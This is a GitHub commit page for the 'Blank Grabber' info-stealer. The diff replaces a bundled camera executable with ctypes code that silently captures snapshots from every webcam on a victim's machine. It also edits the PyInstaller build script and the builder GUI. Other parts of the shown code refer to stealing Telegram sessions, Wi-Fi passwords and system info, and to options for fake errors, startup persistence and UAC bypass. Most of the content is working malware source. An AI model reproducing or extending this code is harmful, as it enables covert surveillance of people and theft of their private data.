Skip to content

Commit

Permalink
Webcam implemented using Ctypes
Browse files Browse the repository at this point in the history
  • Loading branch information
Blank-c committed Jun 28, 2023
1 parent 730b34a commit c3100ef
Show file tree
Hide file tree
Showing 4 changed files with 41 additions and 34 deletions.
Binary file removed Blank Grabber/Components/Camera
Binary file not shown.
2 changes: 1 addition & 1 deletion Blank Grabber/Components/run.bat
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ if exist "noconsole" (set "mode=--noconsole") else (set "mode=--console")
if exist "icon.ico" (set "icon=icon.ico") else (set "icon=NONE")
set key=%random%%random%%random%%random%
set key=%key:~-16%
pyinstaller %mode% --onefile --clean --noconfirm stub-o.py --key %key% --name "Built.exe" -i %icon% --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import json --add-data Camera;. --add-binary rar.exe;. --add-data rarreg.key;. --version-file version.txt %bound%
pyinstaller %mode% --onefile --clean --noconfirm stub-o.py --key %key% --name "Built.exe" -i %icon% --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import ctypes.wintypes --hidden-import json --add-binary rar.exe;. --add-data rarreg.key;. --version-file version.txt %bound%
if %errorlevel%==0 (
cls
title Post processing...
Expand Down
72 changes: 40 additions & 32 deletions Blank Grabber/Components/stub.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
import logging

from threading import Thread
from ctypes import wintypes
from urllib3 import PoolManager, HTTPResponse

class Settings:
Expand Down Expand Up @@ -170,8 +171,35 @@ def WaitForAll() -> None: # Wait for all threads to finish

class Syscalls:

@staticmethod
def CaptureWebcam(index: int, filePath: str) -> bool:
avicap32 = ctypes.windll.avicap32
WS_CHILD = 0x40000000
WM_CAP_DRIVER_CONNECT = 0x0400 + 10
WM_CAP_DRIVER_DISCONNECT = 0x0402
WM_CAP_FILE_SAVEDIB = 0x0400 + 100 + 25

hcam = avicap32.capCreateCaptureWindowW(
wintypes.LPWSTR("Blank"),
WS_CHILD,
0, 0, 0, 0,
ctypes.windll.user32.GetDesktopWindow(), 0
)

result = False

if hcam:
if ctypes.windll.user32.SendMessageA(hcam, WM_CAP_DRIVER_CONNECT, index, 0):
if ctypes.windll.user32.SendMessageA(hcam, WM_CAP_FILE_SAVEDIB, 0, wintypes.LPWSTR(filePath)):
result = True
ctypes.windll.user32.SendMessageA(hcam, WM_CAP_DRIVER_DISCONNECT, 0, 0)
ctypes.windll.user32.DestroyWindow(hcam)

return result

@staticmethod
def CreateMutex(mutex: str) -> bool:

kernel32 = ctypes.windll.kernel32
mutex = kernel32.CreateMutexA(None, False, mutex)

Expand Down Expand Up @@ -900,7 +928,7 @@ def __init__(self) -> None: # Constructor to call all the functions
(self.GetWifiPasswords, False),
(self.StealSystemInfo, False),
(self.TakeScreenshot, False),
(self.BlockSites, True),
(self.BlockSites, False),
(self.Webshot, True),
(self.StealCommonFiles, True)
):
Expand Down Expand Up @@ -1312,37 +1340,17 @@ def run(name, path):

@Errors.Catch
def Webshot(self) -> None: # Captures snapshot(s) from the webcam(s)
isExecutable = Utility.GetSelf()[1]
if not Settings.CaptureWebcam or not os.path.isfile(Camfile := os.path.join(sys._MEIPASS, 'Camera')):
return

Logger.info("Capturing webcam snapshot")

with open(Camfile, 'rb') as file:
data = file.read()
data = pyaes.AESModeOfOperationCTR(b'f61QfygejoxUWGxI').decrypt(data)
if not b'This program cannot be run in DOS mode.' in data:
return
if isExecutable:
tempCam = os.path.join(sys._MEIPASS, 'Camera.exe')
else:
tempCam = os.path.join(os.getenv('temp'), 'Camera.exe')
with open(tempCam, 'wb') as file:
file.write(data)
tempCamPath = os.path.dirname(tempCam)
camlist = [x[15:] for x in subprocess.run('Camera.exe /devlist', capture_output= True, shell= True, cwd= tempCamPath).stdout.decode(errors= 'ignore').splitlines() if "Device name:" in x]
for index, name in enumerate(camlist):
try:
subprocess.run('Camera.exe /devnum {} /quiet /filename image.bmp'.format(index + 1), shell= True, stdout= open(os.devnull, 'w'), stderr= open(os.devnull, 'w'), cwd= tempCamPath, timeout= 5.0)
except subprocess.TimeoutExpired:
continue
if not os.path.isfile(tempImg := os.path.join(tempCamPath, 'image.bmp')):
continue
os.makedirs(webcamFolder := os.path.join(self.TempFolder, 'Webcam'), exist_ok= True)
shutil.copy(tempImg, os.path.join(webcamFolder, '%s.bmp' % name))
os.remove(tempImg)
self.WebcamPictures += 1
os.remove(tempCam)
if Settings.CaptureWebcam:
camdir = os.path.join(self.TempFolder, "Webcam")
os.makedirs(camdir, exist_ok= True)

camIndex = 0
while Syscalls.CaptureWebcam(camIndex, os.path.join(camdir, "Webcam %d.bmp" % (camIndex + 1))):
camIndex += 1
self.WebcamPictures += 1

if self.WebcamPictures == 0:
shutil.rmtree(camdir)

@Errors.Catch
def StealTelegramSessions(self) -> None: # Steals telegram session(s) files
Expand Down
1 change: 0 additions & 1 deletion Blank Grabber/gui.py
Original file line number Diff line number Diff line change
Expand Up @@ -346,7 +346,6 @@ def buildModeButtonControl_Callback(self) -> None:
PYMODE = "Output: PY File"

exeOnlyChecboxControls = (
(self.captureWebcamCheckboxControl, self.captureWebcamVar),
(self.fakeErrorCheckboxControl, self.fakeErrorVar),
(self.startupCheckboxControl, self.startupVar),
(self.uacBypassCheckboxControl, self.uacBypassVar),
Expand Down

0 comments on commit c3100ef

Please sign in to comment.